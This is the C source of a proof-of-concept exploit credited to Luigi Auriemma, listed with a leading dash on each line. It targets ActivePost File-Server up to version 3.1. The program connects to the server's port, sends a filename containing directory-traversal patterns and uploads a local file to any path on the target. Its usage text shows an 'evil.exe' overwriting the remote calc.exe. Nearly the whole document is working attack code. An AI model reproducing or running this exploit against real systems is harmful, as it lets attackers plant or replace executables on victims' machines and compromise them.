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- /*
-
- by Luigi Auriemma
-
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- #ifdef WIN32
- #include <winsock.h>
- #include "winerr.h"
-
- #define close closesocket
- #else
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #endif
-
-
-
- #define VER "0.1"
- #define PORT 6004
- #define BUFFSZ 4104 /* don't modify */
-
-
-
- #define SEND if(send(sd, buff, BUFFSZ, 0) \
- < 0) std_err();
- #define RECV for(tot = 0; tot < BUFFSZ; tot += len) { \
- len = recv(sd, buff + tot, BUFFSZ - tot, 0); \
- if(len < 0) std_err(); \
- if(!len) break; \
- }
-
-
-
- u_long resolv(char *host);
- void std_err(void);
-
-
-
- int main(int argc, char *argv[]) {
- FILE *fd;
- struct sockaddr_in peer;
- int sd,
- len,
- tot;
- u_short port = PORT;
- u_char buff[BUFFSZ];
-
-
- setbuf(stdout, NULL);
-
- fputs("\n"
- "ActivePost File-Server <= 3.1 traversal file uploader "VER"\n"
- "by Luigi Auriemma\n"
- "e-mail: aluigi@altervista.org\n"
- "web: http://aluigi.altervista.org\n"
- "\n", stdout);
-
- if(argc < 4) {
- printf("\nUsage: %s <local_filename> <remote_filename> <server> [port(%d)]\n"
- "\n"
- " local_filename is the name of one of your local files that you wanna put on\n"
- " the remote server.\n"
- " remote_filename instead is the name you wanna give to the file and moreover\n"
- " the traversal pattern (/..) to reach the desired path on which to put it.\n"
- " Are needed at least 3 patterns to exit from the ActivePost Server folder,\n"
- " like /../../../filename or /..../filename\n"
- " However don't worry because the complete real remote path on which your file\n"
- " is saved is EVER visible in the server reply.\n"
- "\n"
- " Examples:\n"
- " %s evil.exe /../../../windows/calc.exe localhost\n"
- " %s evil.exe /..../windows/calc.exe localhost\n"
- "\n"
- " In this case your file evil.exe will overwrite the calc.exe file of the\n"
- " remote host (if ActivePost has been installed in c:\\).\n"
- "\n", argv[0], PORT, argv[0], argv[0]);
- exit(1);
- }
-
- #ifdef WIN32
- WSADATA wsadata;
- WSAStartup(MAKEWORD(1,0), &wsadata);
- #endif
-
- printf("- open local file \"%s\"\n", argv[1]);
- fd = fopen(argv[1], "rb");
- if(!fd) std_err();
-
- if(argc > 4) port = atoi(argv[4]);
-
- peer.sin_addr.s_addr = resolv(argv[3]);
- peer.sin_port = htons(port);
- peer.sin_family = AF_INET;
-
- printf("- target %s:%hu\n",
- inet_ntoa(peer.sin_addr),
- port);
-
- sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if(sd < 0) std_err();
-
- if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
- < 0) std_err();
-
- memset(buff, 0x00, BUFFSZ);
-
- fputs("- send first header\n", stdout);
- *(u_long *)buff = 0x1f5;
- SEND;
- RECV;
-
- printf("- send filename (%s)\n", argv[2]);
- *(u_long *)buff = 0x1f6;
- strncpy(buff + 8, argv[2], BUFFSZ - 8);
- SEND;
- RECV;
-
- printf("- upload file (%s)\n", argv[1]);
- *(u_long *)buff = 0x1f8;
- while((len = fread(buff + 8, 1, BUFFSZ - 8, fd))) {
- *(u_long *)(buff + 4) = len;
- SEND;
- }
- fclose(fd);
-
- memset(buff, 0x00, BUFFSZ);
-
- fputs("- send final header\n", stdout);
- *(u_long *)buff = 0x1f9;
- SEND;
-
- RECV;
- printf("- remote file has been saved exactly here:\n"
- " %s\n", buff + 8);
-
- close(sd);
- fputs("- finished\n\n", stdout);
- return(0);
- }
-
-
-
- u_long resolv(char *host) {
- struct hostent *hp;
- u_long host_ip;
-
- host_ip = inet_addr(host);
- if(host_ip == INADDR_NONE) {
- hp = gethostbyname(host);
- if(!hp) {
- printf("\nError: Unable to resolve hostname (%s)\n", host);
- exit(1);
- } else host_ip = *(u_long *)(hp->h_addr);
- }
- return(host_ip);
- }
-
-
-
- #ifndef WIN32
- void std_err(void) {
- perror("\nError");
- exit(1);
- }
- #endif
-
-
-